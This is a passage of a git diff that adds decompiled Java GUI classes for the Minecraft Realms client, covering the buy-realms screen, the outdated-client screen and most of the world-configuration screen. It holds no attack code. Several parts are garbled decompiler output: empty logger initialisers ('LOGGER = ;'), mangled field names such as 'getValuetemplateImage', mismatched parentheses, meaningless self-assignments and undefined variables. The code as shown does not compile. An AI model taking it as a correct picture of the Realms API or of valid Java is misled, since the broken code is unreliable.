+      RealmsScreen.blit(x * 2, y * 2, 0.0F, hovered ? 28.0F : 0.0F, 23, 28, 23.0F, 56.0F);
+      GL11.glPopMatrix();
+      
+      if (hovered) {
+        toolTip = RealmsScreen.getLocalizedString("mco.backup.button.restore");
+      }
+    }
+    
+    private void drawInfo(int x, int y, int xm, int ym) {
+      boolean hovered = (xm >= x) && (xm <= x + 8) && (ym >= y) && (ym <= y + 8) && (ym < height() - 15) && (ym > 32);
+      
+      RealmsScreen.bind("realms:textures/gui/realms/plus_icon.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      GL11.glScalef(0.5F, 0.5F, 0.5F);
+      RealmsScreen.blit(x * 2, y * 2, 0.0F, hovered ? 15.0F : 0.0F, 15, 15, 15.0F, 30.0F);
+      GL11.glPopMatrix();
+      
+      if (hovered) {
+        toolTip = RealmsScreen.getLocalizedString("mco.backup.changes.tooltip");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBuyRealmsScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBuyRealmsScreen.java
new file mode 100644
index 0000000..cdf2062
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBuyRealmsScreen.java
@@ -0,0 +1,142 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsState;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import com.mojang.realmsclient.util.RealmsUtil;
+import java.awt.Toolkit;
+import java.awt.datatransfer.Clipboard;
+import java.awt.datatransfer.StringSelection;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+
+public class RealmsBuyRealmsScreen
+  extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private RealmsScreen lastScreen;
+  
+  private static int BUTTON_BACK_ID = 0;
+  
+  private volatile RealmsState realmsStatus;
+  private boolean onLink = false;
+  
+  public RealmsBuyRealmsScreen(RealmsScreen lastScreen) {
+    this.lastScreen = lastScreen;
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    int buttonLength = 212;
+    
+    buttonsAdd(newButton(BUTTON_BACK_ID, width() / 2 - buttonLength / 2, RealmsConstants.row(12), buttonLength, 20, getLocalizedString("gui.back")));
+    
+    fetchMessage();
+  }
+  
+  private void fetchMessage() {
+    final RealmsClient client = RealmsClient.createRealmsClient();
+    new Thread("Realms-stat-message")
+    {
+      public void run() {
+        try {
+          realmsStatus = client.fetchRealmsState();
+        } catch (RealmsServiceException e) {
+          RealmsBuyRealmsScreen.LOGGER.error("Could not get state");
+          Realms.setScreen(new RealmsGenericErrorScreen(e, lastScreen));
+        }
+      }
+    }.start();
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    if (button.id() == BUTTON_BACK_ID) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    if (onLink) {
+      Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
+      clipboard.setContents(new StringSelection(realmsStatus.getBuyLink()), null);
+      RealmsUtil.browseTo(realmsStatus.getBuyLink());
+    }
+  }
+  
+
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(getLocalizedString("mco.buy.realms.title"), width() / 2, 17, 16777215);
+    
+    if (realmsStatus == null) {
+      return;
+    }
+    
+    String[] lines = realmsStatus.getStatusMessage().split("\n");
+    
+    int i = 1;
+    
+    for (String line : lines) {
+      drawCenteredString(line, width() / 2, RealmsConstants.row(i), 10526880);
+      i += 2;
+    }
+    
+    if (realmsStatus.getBuyLink() != null) {
+      String buyLink = realmsStatus.getBuyLink();
+      
+      int height = RealmsConstants.row(i + 1);
+      
+      int textWidth = fontWidth(buyLink);
+      int x1 = width() / 2 - textWidth / 2 - 1;
+      int y1 = height - 1;
+      int x2 = x1 + textWidth + 1;
+      int y2 = height + 1 + fontLineHeight();
+      
+      if ((x1 <= xm) && (xm <= x2) && (y1 <= ym) && (ym <= y2)) {
+        onLink = true;
+        drawString(buyLink, width() / 2 - textWidth / 2, height, 7107012);
+      } else {
+        onLink = false;
+        drawString(buyLink, width() / 2 - textWidth / 2, height, 3368635);
+      }
+    }
+    
+    super.render(xm, ym, a);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsClientOutdatedScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsClientOutdatedScreen.java
new file mode 100644
index 0000000..93528a8
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsClientOutdatedScreen.java
@@ -0,0 +1,53 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+
+public class RealmsClientOutdatedScreen extends RealmsScreen
+{
+  private static final int BUTTON_BACK_ID = 0;
+  private final RealmsScreen lastScreen;
+  private final boolean outdated;
+  
+  public RealmsClientOutdatedScreen(RealmsScreen lastScreen, boolean outdated)
+  {
+    this.lastScreen = lastScreen;
+    this.outdated = outdated;
+  }
+  
+  public void init()
+  {
+    buttonsClear();
+    buttonsAdd(newButton(0, width() / 2 - 100, RealmsConstants.row(12), "Back"));
+  }
+  
+
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    String title = outdated ? getLocalizedString("mco.client.outdated.title") : getLocalizedString("mco.client.incompatible.title");
+    String msg = outdated ? getLocalizedString("mco.client.outdated.msg") : getLocalizedString("mco.client.incompatible.msg");
+    
+    drawCenteredString(title, width() / 2, RealmsConstants.row(3), 16711680);
+    drawCenteredString(msg, width() / 2, RealmsConstants.row(5), 16777215);
+    
+    super.render(xm, ym, a);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (button.id() == 0) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if ((eventKey == 28) || (eventKey == 156) || (eventKey == 1)) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsConfigureWorldScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsConfigureWorldScreen.java
new file mode 100644
index 0000000..26efb93
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsConfigureWorldScreen.java
@@ -0,0 +1,618 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.RealmsMainScreen;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsOptions;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.RealmsServer.State;
+import com.mojang.realmsclient.dto.WorldTemplate;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import com.mojang.realmsclient.gui.RealmsHideableButton;
+import com.mojang.realmsclient.util.RealmsTextureManager;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsSharedConstants;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsConfigureWorldScreen extends RealmsScreenWithCallback<WorldTemplate>
+{
+  private static final Logger LOGGER = ;
+  
+  private static final String ON_ICON_LOCATION = "realms:textures/gui/realms/on_icon.png";
+  
+  private static final String OFF_ICON_LOCATION = "realms:textures/gui/realms/off_icon.png";
+  
+  private static final String EXPIRED_ICON_LOCATION = "realms:textures/gui/realms/expired_icon.png";
+  
+  private static final String SLOT_FRAME_LOCATION = "realms:textures/gui/realms/slot_frame.png";
+  
+  private static final String EMPTY_FRAME_LOCATION = "realms:textures/gui/realms/empty_frame.png";
+  private String toolTip;
+  private final RealmsScreen lastScreen;
+  private RealmsServer serverData;
+  private volatile long serverId;
+  private int left_x;
+  private int right_x;
+  private int default_button_width = 80;
+  private int default_button_offset = 5;
+  
+  private static final int BUTTON_BACK_ID = 0;
+  
+  private static final int BUTTON_PLAYERS_ID = 2;
+  
+  private static final int BUTTON_SETTINGS_ID = 3;
+  
+  private static final int BUTTON_SUBSCRIPTION_ID = 4;
+  
+  private static final int BUTTON_OPTIONS_ID = 5;
+  
+  private static final int BUTTON_BACKUP_ID = 6;
+  
+  private static final int BUTTON_RESET_WORLD_ID = 7;
+  
+  private static final int BUTTON_SWITCH_MINIGAME_ID = 8;
+  
+  private static final int SWITCH_SLOT_ID = 9;
+  
+  private static final int SWITCH_SLOT_ID_EMPTY = 10;
+  private static final int SWITCH_SLOT_ID_RESULT = 11;
+  private RealmsButton playersButton;
+  private RealmsButton settingsButton;
+  private RealmsButton subscriptionButton;
+  private RealmsHideableButton optionsButton;
+  private RealmsHideableButton backupButton;
+  private RealmsHideableButton resetWorldButton;
+  private RealmsHideableButton switchMinigameButton;
+  private boolean stateChanged;
+  private int hoveredSlot = -1;
+  
+  private int animTick;
+  
+  private int clicks = 0;
+  private boolean hoveredActiveSlot = false;
+  
+  public RealmsConfigureWorldScreen(RealmsScreen lastScreen, long serverId) {
+    this.lastScreen = lastScreen;
+    this.serverId = serverId;
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+  }
+  
+  public void init()
+  {
+    if (serverData == null) {
+      fetchServerData(serverId);
+    }
+    
+    left_x = (width() / 2 - 187);
+    right_x = (width() / 2 + 190);
+    
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    buttonsAdd(this.playersButton = newButton(2, centerButton(0, 3), RealmsConstants.row(0), default_button_width, 20, getLocalizedString("mco.configure.world.buttons.players")));
+    buttonsAdd(this.settingsButton = newButton(3, centerButton(1, 3), RealmsConstants.row(0), default_button_width, 20, getLocalizedString("mco.configure.world.buttons.settings")));
+    buttonsAdd(this.subscriptionButton = newButton(4, centerButton(2, 3), RealmsConstants.row(0), default_button_width, 20, getLocalizedString("mco.configure.world.buttons.subscription")));
+    
+    buttonsAdd(this.optionsButton = new RealmsHideableButton(5, leftButton(0), RealmsConstants.row(13) - 5, default_button_width + 10, 20, getLocalizedString("mco.configure.world.buttons.options")));
+    buttonsAdd(this.backupButton = new RealmsHideableButton(6, leftButton(1), RealmsConstants.row(13) - 5, default_button_width + 10, 20, getLocalizedString("mco.configure.world.backup")));
+    buttonsAdd(this.resetWorldButton = new RealmsHideableButton(7, leftButton(2), RealmsConstants.row(13) - 5, default_button_width + 10, 20, getLocalizedString("mco.configure.world.buttons.resetworld")));
+    
+    buttonsAdd(this.switchMinigameButton = new RealmsHideableButton(8, leftButton(0), RealmsConstants.row(13) - 5, default_button_width + 20, 20, getLocalizedString("mco.configure.world.buttons.switchminigame")));
+    
+    buttonsAdd(newButton(0, right_x - default_button_width + 8, RealmsConstants.row(13) - 5, default_button_width - 10, 20, getLocalizedString("gui.back")));
+    
+    backupButton.active(true);
+    
+    if (serverData == null) {
+      hideMinigameButtons();
+      hideRegularButtons();
+      
+      playersButton.active(false);
+      settingsButton.active(false);
+      subscriptionButton.active(false);
+    } else {
+      disableButtons();
+      
+      if (isMinigame()) {
+        hideRegularButtons();
+      } else {
+        hideMinigameButtons();
+      }
+    }
+  }
+  
+  private int leftButton(int i)
+  {
+    return left_x + i * (default_button_width + 10 + default_button_offset);
+  }
+  
+  private int centerButton(int i, int total) {
+    return width() / 2 - (total * (default_button_width + default_button_offset) - default_button_offset) / 2 + i * (default_button_width + default_button_offset);
+  }
+  
+  public void tick()
+  {
+    animTick += 1;
+    clicks -= 1;
+    if (clicks < 0) {
+      clicks = 0;
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    toolTip = null;
+    hoveredActiveSlot = false;
+    hoveredSlot = -1;
+    
+    renderBackground();
+    
+    drawCenteredString(getLocalizedString("mco.configure.worlds.title"), width() / 2, RealmsConstants.row(4), 16777215);
+    
+    super.render(xm, ym, a);
+    
+    if (serverData == null) {
+      drawCenteredString(getLocalizedString("mco.configure.world.title"), width() / 2, 17, 16777215);
+      return;
+    }
+    
+    String name = serverData.getName();
+    int nameWidth = fontWidth(name);
+    int nameColor = serverData.state == RealmsServer.State.CLOSED ? 10526880 : 8388479;
+    int titleWidth = fontWidth(getLocalizedString("mco.configure.world.title"));
+    
+    drawCenteredString(getLocalizedString("mco.configure.world.title"), width() / 2 - nameWidth / 2 - 2, 17, 16777215);
+    
+    drawCenteredString(name, width() / 2 + titleWidth / 2 + 2, 17, nameColor);
+    
+    int statusX = width() / 2 + nameWidth / 2 + titleWidth / 2 + 5;
+    drawServerStatus(statusX, 17, xm, ym);
+    
+    for (Map.Entry<Integer, RealmsOptions> entry : serverData.slots.entrySet()) {
+      if ((getValuetemplateImage != null) && (getValuetemplateId != -1L)) {
+        drawSlotFrame(frame(((Integer)entry.getKey()).intValue()), RealmsConstants.row(5) + 5, xm, ym, (serverData.activeSlot == ((Integer)entry.getKey()).intValue()) && (!isMinigame()), ((RealmsOptions)entry.getValue()).getSlotName(((Integer)entry.getKey()).intValue()), ((Integer)entry.getKey()).intValue(), getValuetemplateId, getValuetemplateImage, getValueempty);
+      } else {
+        drawSlotFrame(frame(((Integer)entry.getKey()).intValue()), RealmsConstants.row(5) + 5, xm, ym, (serverData.activeSlot == ((Integer)entry.getKey()).intValue()) && (!isMinigame()), ((RealmsOptions)entry.getValue()).getSlotName(((Integer)entry.getKey()).intValue()), ((Integer)entry.getKey()).intValue(), -1L, null, getValueempty);
+      }
+    }
+    
+    drawSlotFrame(frame(4), RealmsConstants.row(5) + 5, xm, ym, isMinigame(), "Minigame", 4, -1L, null, false);
+    
+    if (isMinigame()) {
+      drawString(getLocalizedString("mco.configure.current.minigame") + ": " + serverData.getMinigameName(), left_x + default_button_width + 20 + default_button_offset * 2, RealmsConstants.row(13), 16777215);
+    }
+    
+    if (toolTip != null) {
+      renderMousehoverTooltip(toolTip, xm, ym);
+    }
+  }
+  
+  private int frame(int i)
+  {
+    return left_x + (i - 1) * 98;
+  }
+  
+
+  public void removed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    if (((button instanceof RealmsHideableButton)) && (!((RealmsHideableButton)button).getVisible())) { return;
+    }
+    switch (button.id()) {
+    case 2: 
+      Realms.setScreen(new RealmsPlayerScreen(this, serverData));
+      break;
+    case 3: 
+      Realms.setScreen(new RealmsSettingsScreen(this, serverData.clone()));
+      break;
+    case 4: 
+      Realms.setScreen(new RealmsSubscriptionInfoScreen(this, serverData.clone(), lastScreen));
+      break;
+    case 0: 
+      backButtonClicked();
+      break;
+    case 8: 
+      Realms.setScreen(new RealmsSelectWorldTemplateScreen(this, null, true));
+      break;
+    case 6: 
+      Realms.setScreen(new RealmsBackupScreen(this, serverData.clone()));
+      break;
+    case 5: 
+      Realms.setScreen(new RealmsSlotOptionsScreen(this, ((RealmsOptions)serverData.slots.get(Integer.valueOf(serverData.activeSlot))).clone(), serverData.worldType, serverData.activeSlot));
+      break;
+    case 7: 
+      Realms.setScreen(new RealmsResetWorldScreen(this, serverData.clone(), getNewScreen()));
+      break;
+    }
+    
+  }
+  
+
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      backButtonClicked();
+    }
+  }
+  
+  private void backButtonClicked() {
+    if (stateChanged) {
+      ((RealmsMainScreen)lastScreen).removeSelection();
+    }
+    Realms.setScreen(lastScreen);
+  }
+  
+  private void fetchServerData(final long worldId) {
+    new Thread()
+    {
+      public void run() {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        try {
+          serverData = client.getOwnWorld(worldId);
+          
+          RealmsConfigureWorldScreen.this.disableButtons();
+          
+          if (RealmsConfigureWorldScreen.this.isMinigame()) {
+            RealmsConfigureWorldScreen.this.showMinigameButtons();
+          } else {
+            RealmsConfigureWorldScreen.this.showRegularButtons();
+          }
+        }
+        catch (RealmsServiceException e) {
+          RealmsConfigureWorldScreen.LOGGER.error("Couldn't get own world");
+          Realms.setScreen(new RealmsGenericErrorScreen(e.getMessage(), lastScreen));
+        } catch (IOException e) {
+          RealmsConfigureWorldScreen.LOGGER.error("Couldn't parse response getting own world");
+        }
+      }
+    }.start();
+  }
+  
+  private void disableButtons() {
+    playersButton.active(!serverData.expired);
+    settingsButton.active(!serverData.expired);
+    subscriptionButton.active(true);
+    
+    switchMinigameButton.active(!serverData.expired);
+    
+    optionsButton.active(!serverData.expired);
+    resetWorldButton.active(!serverData.expired);
+  }
+  
+  public void confirmResult(boolean result, int id)
+  {
+    switch (id)
+    {
+    case 9: 
+      if (result) {
+        switchSlot();
+      } else {
+        Realms.setScreen(this);
+      }
+      
+      break;
+    
+    case 10: 
+      if (result) {
+        RealmsResetWorldScreen resetWorldScreen = new RealmsResetWorldScreen(this, serverData, getNewScreen(), getLocalizedString("mco.configure.world.switch.slot"), getLocalizedString("mco.configure.world.switch.slot.subtitle"), 10526880, getLocalizedString("gui.cancel"));
+        resetWorldScreen.setSlot(hoveredSlot);
+        resetWorldScreen.setResetTitle(getLocalizedString("mco.create.world.reset.title"));
+        Realms.setScreen(resetWorldScreen);
+      } else {
+        Realms.setScreen(this);
+      }
+      
+      break;
+    
+    case 11: 
+      Realms.setScreen(this);
+    }
+    
+  }
+  
+
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    if (buttonNum == 0) {
+      clicks += RealmsSharedConstants.TICKS_PER_SECOND / 3 + 1;
+    } else {
+      return;
+    }
+    
+    if (hoveredSlot != -1) {
+      if (hoveredSlot < 4) {
+        String line2 = getLocalizedString("mco.configure.world.slot.switch.question.line1");
+        String line3 = getLocalizedString("mco.configure.world.slot.switch.question.line2");
+        if (serverData.slots.get(Integer.valueOf(hoveredSlot))).empty) {
+          Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Info, line2, line3, true, 10));
+        } else {
+          Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Info, line2, line3, true, 9));
+        }
+      } else if ((!isMinigame()) && (!serverData.expired)) {
+        Realms.setScreen(new RealmsSelectWorldTemplateScreen(this, null, true, true));
+      }
+    } else if ((clicks >= RealmsSharedConstants.TICKS_PER_SECOND / 2) && (hoveredActiveSlot) && ((serverData.state == RealmsServer.State.OPEN) || (serverData.state == RealmsServer.State.CLOSED))) {
+      if (serverData.state == RealmsServer.State.OPEN) {
+        ((RealmsMainScreen)lastScreen).play(serverData);
+      } else {
+        openTheWorld(true, this);
+      }
+    }
+    
+    super.mouseClicked(x, y, buttonNum);
+  }
+  
+  protected void renderMousehoverTooltip(String msg, int x, int y) {
+    if (msg == null) {
+      return;
+    }
+    
+    int rx = x + 12;
+    int ry = y - 12;
+    int width = fontWidth(msg);
+    
+    if (rx + width + 3 > right_x) {
+      rx = rx - width - 20;
+    }
+    fillGradient(rx - 3, ry - 3, rx + width + 3, ry + 8 + 3, -1073741824, -1073741824);
+    
+    fontDrawShadow(msg, rx, ry, 16777215);
+  }
+  
+  private void drawServerStatus(int x, int y, int xm, int ym) {
+    if (serverData.expired) {
+      drawExpired(x, y, xm, ym);
+    } else if (serverData.state == RealmsServer.State.ADMIN_LOCK) {
+      drawLocked(x, y, xm, ym, false);
+    } else if (serverData.state == RealmsServer.State.CLOSED) {
+      drawLocked(x, y, xm, ym, true);
+    } else if (serverData.state == RealmsServer.State.OPEN) {
+      if (serverData.daysLeft < 7) {
+        drawExpiring(x, y, xm, ym, serverData.daysLeft);
+      } else {
+        drawOpen(x, y, xm, ym);
+      }
+    }
+  }
+  
+  private void drawExpiring(int x, int y, int xm, int ym, int daysLeft) {
+    if (animTick % 20 < 10) {
+      RealmsScreen.bind("realms:textures/gui/realms/on_icon.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      GL11.glScalef(0.5F, 0.5F, 0.5F);
+      RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+      GL11.glPopMatrix();
+    }
+    
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9)) {
+      if (daysLeft == 0) {
+        toolTip = getLocalizedString("mco.selectServer.expires.soon");
+      } else if (daysLeft == 1) {
+        toolTip = getLocalizedString("mco.selectServer.expires.day");
+      } else {
+        toolTip = getLocalizedString("mco.selectServer.expires.days", new Object[] { Integer.valueOf(daysLeft) });
+      }
+    }
+  }
+  
+  private void drawOpen(int x, int y, int xm, int ym) {
+    RealmsScreen.bind("realms:textures/gui/realms/on_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9)) {
+      toolTip = getLocalizedString("mco.selectServer.open");
+    }
+  }
+  
+  private void drawExpired(int x, int y, int xm, int ym) {
+    bind("realms:textures/gui/realms/expired_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9)) toolTip = getLocalizedString("mco.selectServer.expired");
+  }
+  
+  private void drawLocked(int x, int y, int xm, int ym, boolean closed) {
+    bind("realms:textures/gui/realms/off_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    if ((closed) && (xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9)) {
+      toolTip = getLocalizedString("mco.selectServer.closed");
+    }
+  }
+  
+  private boolean isMinigame() {
+    return (serverData != null) && (serverData.worldType.equals(com.mojang.realmsclient.dto.RealmsServer.WorldType.MINIGAME));
+  }
+  
+  private void drawSlotFrame(int x, int y, int xm, int ym, boolean active, String text, int i, long imageId, String image, boolean empty) {
+    if ((xm >= x) && (xm <= x + 80) && (ym >= y) && (ym <= y + 80) && (((!isMinigame()) && (serverData.activeSlot != i)) || ((isMinigame()) && (i != 4) && (
+      (i != 4) || (!serverData.expired)))))
+    {
+      hoveredSlot = i;
+      toolTip = (i == 4 ? getLocalizedString("mco.configure.world.slot.tooltip.minigame") : getLocalizedString("mco.configure.world.slot.tooltip"));
+    }
+    
+
+    if ((xm >= x) && (xm <= x + 80) && (ym >= y) && (ym <= y + 80) && (((!isMinigame()) && (serverData.activeSlot == i)) || ((isMinigame()) && (i == 4) && (!serverData.expired) && ((serverData.state == RealmsServer.State.OPEN) || (serverData.state == RealmsServer.State.CLOSED))))) {
+      hoveredActiveSlot = true;
+      toolTip = getLocalizedString("mco.configure.world.slot.tooltip.active");
+    }
+    
+    if (empty) {
+      bind("realms:textures/gui/realms/empty_frame.png");
+    } else if ((image != null) && (imageId != -1L)) {
+      RealmsTextureManager.bindWorldTemplate(String.valueOf(imageId), image);
+    } else if (i == 1) {
+      bind("textures/gui/title/background/panorama_0.png");
+    } else if (i == 2) {
+      bind("textures/gui/title/background/panorama_2.png");
+    } else if (i == 3) {
+      bind("textures/gui/title/background/panorama_3.png");
+    } else {
+      RealmsTextureManager.bindWorldTemplate(String.valueOf(serverData.minigameId), serverData.minigameImage);
+    }
+    
+    if (!active) {
+      GL11.glColor4f(0.56F, 0.56F, 0.56F, 1.0F);
+    } else if (active) {
+      float c = 0.9F + 0.1F * net.minecraft.realms.RealmsMth.cos(animTick * 0.2F);
+      GL11.glColor4f(c, c, c, 1.0F);
+    }
+    
+    RealmsScreen.blit(x + 3, y + 3, 0.0F, 0.0F, 74, 74, 74.0F, 74.0F);
+    
+    bind("realms:textures/gui/realms/slot_frame.png");
+    
+    if (hoveredSlot == i) {
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    } else if (!active) {
+      GL11.glColor4f(0.56F, 0.56F, 0.56F, 1.0F);
+    } else {
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    }
+    
+    RealmsScreen.blit(x, y, 0.0F, 0.0F, 80, 80, 80.0F, 80.0F);
+    
+    drawCenteredString(text, x + 40, y + 66, 16777215);
+  }
+  
+  private void hideRegularButtons()
+  {
+    optionsButton.setVisible(false);
+    backupButton.setVisible(false);
+    resetWorldButton.setVisible(false);
+  }
+  
+  private void hideMinigameButtons() {
+    switchMinigameButton.setVisible(false);
+  }
+  
+  private void showRegularButtons() {
+    optionsButton.setVisible(true);
+    backupButton.setVisible(true);
+    resetWorldButton.setVisible(true);
+  }
+  
+  private void showMinigameButtons() {
+    switchMinigameButton.setVisible(true);
+  }
+  
+  public void saveSlotSettings() {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    try {
+      client.updateSlot(serverData.id, (RealmsOptions)serverData.slots.get(Integer.valueOf(serverData.activeSlot)));
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't save slot settings");
+      Realms.setScreen(new RealmsGenericErrorScreen(e, this));
+      return;
+    } catch (UnsupportedEncodingException e) {
+      LOGGER.error("Couldn't save slot settings");
+    }
+    Realms.setScreen(this);
+  }
+  
+  public void saveSlotSettings(RealmsOptions options) {
+    RealmsOptions oldOptions = (RealmsOptions)serverData.slots.get(Integer.valueOf(serverData.activeSlot));
+    templateId = templateId;
+    templateImage = templateImage;
+    serverData.slots.put(Integer.valueOf(serverData.activeSlot), options);
+    saveSlotSettings();
+  }
+  
+  public void saveServerData() {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    try {
+      client.update(serverData.id, serverData.getName(), serverData.getDescription());
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't save settings");
+      Realms.setScreen(new RealmsGenericErrorScreen(e, this));
+      return;
+    } catch (UnsupportedEncodingException e) {
+      LOGGER.error("Couldn't save settings");
+    }
+    Realms.setScreen(this);
+  }
+  
+  public void saveSettings(String name, String desc) {
+    String description = (desc == null) || (desc.trim().equals("")) ? null : desc;
+    
+    serverData.setName(name);
+    serverData.setDescription(description);
+    saveServerData();
+  }
+  
+  public void openTheWorld(boolean join, RealmsScreen screenInCaseOfCancel) {
+    com.mojang.realmsclient.util.RealmsTasks.OpenServerTask openServerTask = new com.mojang.realmsclient.util.RealmsTasks.OpenServerTask(serverData, this, lastScreen, join);
+    RealmsLongRunningMcoTaskScreen openWorldLongRunningTaskScreen = new RealmsLongRunningMcoTaskScreen(screenInCaseOfCancel, openServerTask);
+    openWorldLongRunningTaskScreen.start();
+    Realms.setScreen(openWorldLongRunningTaskScreen);
+  }
+  
+  public void closeTheWorld(RealmsScreen screenInCaseOfCancel) {
+    com.mojang.realmsclient.util.RealmsTasks.CloseServerTask closeServerTask = new com.mojang.realmsclient.util.RealmsTasks.CloseServerTask(serverData, this);
+    RealmsLongRunningMcoTaskScreen closeWorldLongRunningTaskScreen = new RealmsLongRunningMcoTaskScreen(screenInCaseOfCancel, closeServerTask);
+    closeWorldLongRunningTaskScreen.start();
+    Realms.setScreen(closeWorldLongRunningTaskScreen);
+  }
+  
+  public void stateChanged() {
+    stateChanged = true;
+  }
+  
+  void callback(WorldTemplate worldTemplate)
+  {
+    if (worldTemplate == null) {
+      return;
+    }
+    
+    if (minigame) {
+      switchMinigame(worldTemplate);
+    }
+  }
+  
+  private void switchSlot() {
+    com.mojang.realmsclient.util.RealmsTasks.SwitchSlotTask switchSlotTask = new com.mojang.realmsclient.util.RealmsTasks.SwitchSlotTask(serverData.id, hoveredSlot, getNewScreen(), 11);
+    RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen = new RealmsLongRunningMcoTaskScreen(lastScreen, switchSlotTask);
+    longRunningMcoTaskScreen.start();
+    Realms.setScreen(longRunningMcoTaskScreen);
+  }
+  
+  private void switchMinigame(WorldTemplate selectedWorldTemplate) {
+    com.mojang.realmsclient.util.RealmsTasks.SwitchMinigameTask startMinigameTask = new com.mojang.realmsclient.util.RealmsTasks.SwitchMinigameTask(serverData.id, selectedWorldTemplate, getNewScreen());
+    RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen = new RealmsLongRunningMcoTaskScreen(lastScreen, startMinigameTask);
+    longRunningMcoTaskScreen.start();
+    Realms.setScreen(longRunningMcoTaskScreen);
+  }
+  
+  public RealmsConfigureWorldScreen getNewScreen() {
